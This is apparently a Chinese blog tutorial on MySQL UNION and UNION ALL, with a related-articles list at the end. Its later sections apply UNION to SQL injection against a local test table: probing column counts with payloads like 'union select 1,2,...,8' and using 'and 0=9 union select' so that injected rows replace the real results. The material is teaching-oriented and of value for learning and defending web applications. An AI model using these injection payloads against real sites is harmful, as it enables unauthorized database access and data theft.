1.记录联合(并集)

通过实际的操作,来演示什么是记录联合,我们输入mysql hxf

先创建我们实验要用到的表users2,create table users2(uid int(11),uname varchar(32),password varchar(200),mobile bigint(20),isadmin tinyint(4),blog varchar(100),gold int(11),email varchar(20));

在建一个,create table users(uid int(11),uname varchar(32),password varchar(200),mobile bigint(20),isadmin tinyint(4),blog varchar(100),gold int(11),email varchar(20));

show tables;

发现创建成功,这个时候,我们加几条数据到users2表,

insert into users2(uid,uname) select 10011,‘hxf’;

insert into users2(uid,uname) select 10009,‘Sumant’;

insert into users2(uid,uname) select 10008,‘Saniya’;

insert into users2(uid,uname) select 10007,‘Anneka’;

insert into users2(uid,uname) select 10010,‘ben’;

添加成功,这回轮到users表了,

insert into users(uid,uname) select 10011,‘hxf’;

insert into users(uid,uname) select 10009,‘Sumant’;

insert into users(uid,uname) select 10008,‘Saniya’;

insert into users(uid,uname) select 10012,‘uncle’;

insert into users(uid,uname) select 10013,‘aunt’;

添加成功,实验开始,现在这里有四张表,是users表,我们把它查找出来,select * from users;

一共有5行记录,另一个是users2表,select * from users2;

我们看一下也有5行记录

所谓的联合就是把记录简单的合并在一起,

我们看到users,这里有uid为10011、10009和10008

在users2中也有uid为10011、10009和10008的,这两张表有3条重复记录,其它记录是唯一的,不重复的

联合查询,我们用union,users表的所有记录和users2的所有记录并在一起,就叫union,我们回车看一下,select * from users union select * from users2;

我们发现users表有5行记录,users2表也有5行记录,合并之后理应有10条记录,而这里呢,只有7条记录,这就说明10011、10009和10008,3条重复的记录已经去掉了

所以union的结果是去重之后,把两个表的所有记录合并在一起,如果我们在业务的需求中,可能不需要它去重,也可能我们本来两个表都是唯一的,所以我们也不希望它再去重的操作,

这种情况,我们用另外一个操作符,叫union all,union all的目标是不去重,仅仅是简单的把两个表的记录,合并在一起,我们回车,select * from users union all select * from users2;

我们会发现有10行记录,这里有重复的

所以这就是union和union all最基本的操作

我们概括一下

(1)记录联合(union,union all)

SELECT * FROM users1

UNION

SELECT * FROM users2;

union是先去重,然后再合并

SELECT * FROM users1

UNION ALL

SELECT * FROM users2;

union all是不去重,仅仅是把两个表所有记录的记录简单合并一下

2.记录联合与注入报错逻辑

如果users表,我们不需要知道所有的字段,但是我们仅仅需要两个字段,uinon的时候,只需要出两个字段,但是我们不一定是从另一个表联合记录,而是自己构造一个记录,比如我构造uid为1,michael的记录,回车,select uid,uname from users union select 1,‘michael’;

我们会发现,这是我们自己构造的记录,已经合并进去了,所以记录的联合,可以自己构造一条记录进行合并,这种特性就决定了,我们可以应用于注入的逻辑测试中

我们打开一个窗口,给大家演示一下,比如它查询的是uid,这个uid是10011,uid=10011

这个是程序中正常的查询,这个uid就等于数字类型的变量,我们回车,mysql hxf -e “select * from users where uid=$uid”

我们发现查询出来一行记录,这种传参方式是正常的

那么在注入中,我们如何使用,注入联合的办法,使得这种查询,或者报错,对我们有用呢

因此,我们可以在uid传参上下些功夫,或者实际上在url拼接中,我们把这些字符拼接进去,最终的结果,可以归结到对uid结果上的拼接,因此,我们可以对uid进行拼接,甚至它传入的这个参数,我们是不知道的,我们拼接的只是在后面拼接,拼接的时候,我们是union,uinon后面是select 1,uid=“10011 union select 1”

我们echo出来,echo $uid

我们发现它是这种结果的,执行会有什么结果呢,mysql hxf -e “select * from users where uid=$uid”

它告诉我们一个道理,语句中,它的字段数不一样,这就说明,我们使用uinon的时候,只是输入一个字段,这一个字段显然是不正确的,union的结果,必须是第二个子句的所有字段数,必须保持与第一个查询的字段数是一致的,才不至于显示不正常的,那么就是因为这个结果,我们查询的时候,就可以利用

我们可以在输一个,uid=“10011 union select 1,2”

这样,我们就是两个子段,我们在输入,mysql hxf -e “select * from users where uid=$uid”

我们发现还是错,因此在注入中,我们还是盲目的去注入,这种盲注对注入者来说,比较累,也比较困难,

uid=“10011 union select 1,2,3”

mysql hxf -e “select * from users where uid=$uid”

但是不断的去查询和测试,我们就会发现,当我们输入到,第8的时候,我们看到永远是正常的,uid=“10011 union select 1,2,3,4,5,6,7,8”

mysql hxf -e “select * from users where uid=$uid”

当我们输入到9的时候,我们看一下,

uid=“10011 union select 1,2,3,4,5,6,7,8,9”

mysql hxf -e “select * from users where uid=$uid”

我们发现报错了,也就是说,当我们输入到8的时候,这个网页终于显示正常了,而在1,2,3,4,5,6,7的时候,网页显示都是不正常的,当我们输入到8的时候,网页显示正常,这说明了一个道理,网页所处理的逻辑中,处理的字段数,应该是8个字段,第二个说明,users表可能有8个字段,那么这种特性,对我们测试程序是如何处理union的,也是如何处理我们注入报错的情况,是否友好处理,或者给我们提示,这是相当重要,这是报错的逻辑

我们概括一下

$sql=“SELECT uname,mobile,gold FROM users where uid=“.$uid;

正常传参:$id=10003

结果: SELECT uname,mobile,gold FROM users where uid=10003;

注入逻辑:第二部分字段数不相符,网页报错或者显示不正常。联合的时候,两个字段数必须保持一致

第二部分字段数相符,网页显示正常。

这是对我们注入非常好的逻辑判断

逐个注入字段传参:$id=1 union select 1

目标为猜测处理字段数目:

SELECT uname,mobile,gold FROM users where id=1

UNION

SELECT 1

ERROR 1222 (21000): The used SELECT statements have a different number of columns

当我们通过union特性,测试得出处理字段为8的时候,既然是8,那么对我们注入的逻辑有什么应用呢,

3.记录联合与注入取代逻辑

替换,也叫取代逻辑,甚至我们叫第三者上位,

我们看一下,刚刚我们测试出来,字段数是8,第二条数据是我们拼合在一起的,而第一条才是程序处理的结果,我们往往在网页中显示的一个商品的图片,如果多了一条,可能就不显示了,又或者显示多了一个商品,这个时候,我们要把第一条处理的结果去掉,替换成我们处理的信息,把它替换的结果就叫取代逻辑,或者叫第三者上位,因为网页和程序处理的数据,它们两者是天生结合在一起的,我们注入者注入进去只是第三者而已

接下来,我们演示一下们如何让第三者上位,加个and 0=9,注意当我们加0=9实际上是空集的结构,回车,uid=“10011 and 0=9 union select 1,2,3,4,5,6,7,8”

mysql hxf -e “select * from users where uid=$uid”

我们会发现这种结果,就是第三者上位的逻辑,第三者上位非常有用,因为我们输入的1,2,3,4,5,6,7,8,最终网页的标题是2,网页的特性显示的是3,那么对我们具体在那个位置,显示什么内容,显示的下一步注入攻击就非常有用,因此,我们在实际注入攻击中,union是一个非产重要的处理逻辑

我们概括一下

$sql=“SELECT uname,mobile,gold FROM users where uid=“.$id;

正常传参:$id=1

结果: SELECT uname,mobile,gold FROM users where uid=1;

如果我们程序没有很好的处理这种查询,那我们输入的时候,

注入逻辑:0=9 的逻辑结果永远是假。

注入传参:$id=1 and 0=9 union select 1,2,3

我们用逻辑与的关系,并且0=9永远为假,因为替代的结果永远是我们的结果

结果(取而代之逻辑):

SELECT uname,mobile,gold FROM users where uid=1 and 0=9

UNION

SELECT 1,2,3

又有人说,这是第三者上位逻辑

4.小结

1.记录的联合与注入逻辑应用

1-8记录联合查询与注入逻辑相关推荐

  1. SQL注入之联合查询(MySQL)

    SQL注入之联合查询 0x00 前期准备 0x01 联合查询前提 0x02 注入步骤 0x03个人小结 一.Mysql注释 二.Mysql系统函数 三.其他 0x00 前期准备 环境搭配:Apache ...

  2. 01_SQL注入_Mysql注入利用联合查询的手工注入

    01_SQL注入_Mysql注入:利用联合查询的手工注入 1.SQL注入的成因 [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! 遵纪守 ...

  3. mysql联合查询注入防护,SQL注入之BypassWaf

    0x00 前言 无论是在CTF比赛中还是在现实项目中,都会遇到各种各样的waf,没有绝对安全的系统,仔细的研究总会发现被"漏掉"的地方. 最近在研究过waf的技巧,期间还是很有趣的 ...

  4. 【SQL注入-03】union联合查询注入案例

    目录 1 union联合查询注入概述 1.1 简介 1.2 适用条件 1.3 注入步骤 1.4 注入技巧 2 union联合查询注入案例 2.1 操作环境 2.2 操作具体步骤 2.2.1 判断是否存 ...

  5. SQL注入之联合查询注入

    MySQL中的联合查询 联合查询是可合并多个相似的选择查询的结果集.等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL 联合查询:将多个查询的结果 ...

  6. SQL联合查询:子表任一记录与主表联合查询

    今天有网友群里提了这样一个关于SQL联合查询的需求: 一.有热心网友的方案: 二.我的方案: select * from ( select a.*,(select top 1 Id from B as ...

  7. SOL注入——基干联合查询的POST注入(四)

    本章目的 普及POST注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 (2) ...

  8. SQL注入——基于联合查询的字符型GET注入(三)

    本章目的 普及字符型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 ( ...

  9. SOL注入——基于联合查询的数字型GET注入(二)

    本章目的 普及数字型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 ( ...

最新文章

  1. maven项目密码md5加密_加密Spring Boot中的application.properties
  2. 60进制时间计算器_不止加减乘除,Windows 自带计算器还有这些隐藏技巧
  3. uniapp自定义顶部导航组件
  4. ajax传html调用样式的问题
  5. 算法提高课-图论-有向图的强连通分量-AcWing 367. 学校网络:强连通分量、tarjan算法
  6. 前端读者 | CSS三角形和饼图
  7. 树莓派python蓝牙_怎样通过蓝牙仅使用Android手机为树莓派配置Wi-Fi网络
  8. ntsd调试dump文件
  9. 【Android -- 开源库】BRVAH 的基本使用
  10. Couchbase SyncGateway
  11. 库卡机器人bco运动_库卡工业机器人编程运动教程
  12. openstack源码架构_openstack创建虚拟机源码阅读
  13. 网络游戏外挂编写初级教程
  14. 用python预测小孩的身高_预测孩子身高的实用方法
  15. mysql pdo 端口_pdo连接mysql
  16. itext转html为pdf 锚点,flying saucer html转pdf经验分享
  17. 使用python实现科学记数法的书面形式输出
  18. 高斯模糊算法的实现和优化
  19. JSON转List集合
  20. Python学习——绘制世界人口地图

热门文章

  1. 一个老旧系统的现代化改造
  2. [转载] 七龙珠第一部——第100话 最后的手段
  3. win10 Docker及klee的安装
  4. PCA主成分分析实战案例
  5. 基于GMMs-HMMs的语音识别原理
  6. opencv把图片序列保存为视频
  7. 打印冻结窗格怎么保证每页都有_EXCEL固定表头_冻结窗口以及打印的应用方法
  8. Linux中同步数据之scp VS rsync
  9. 返校,然后和校园说再见
  10. 深度学习分布式方案(个人笔记)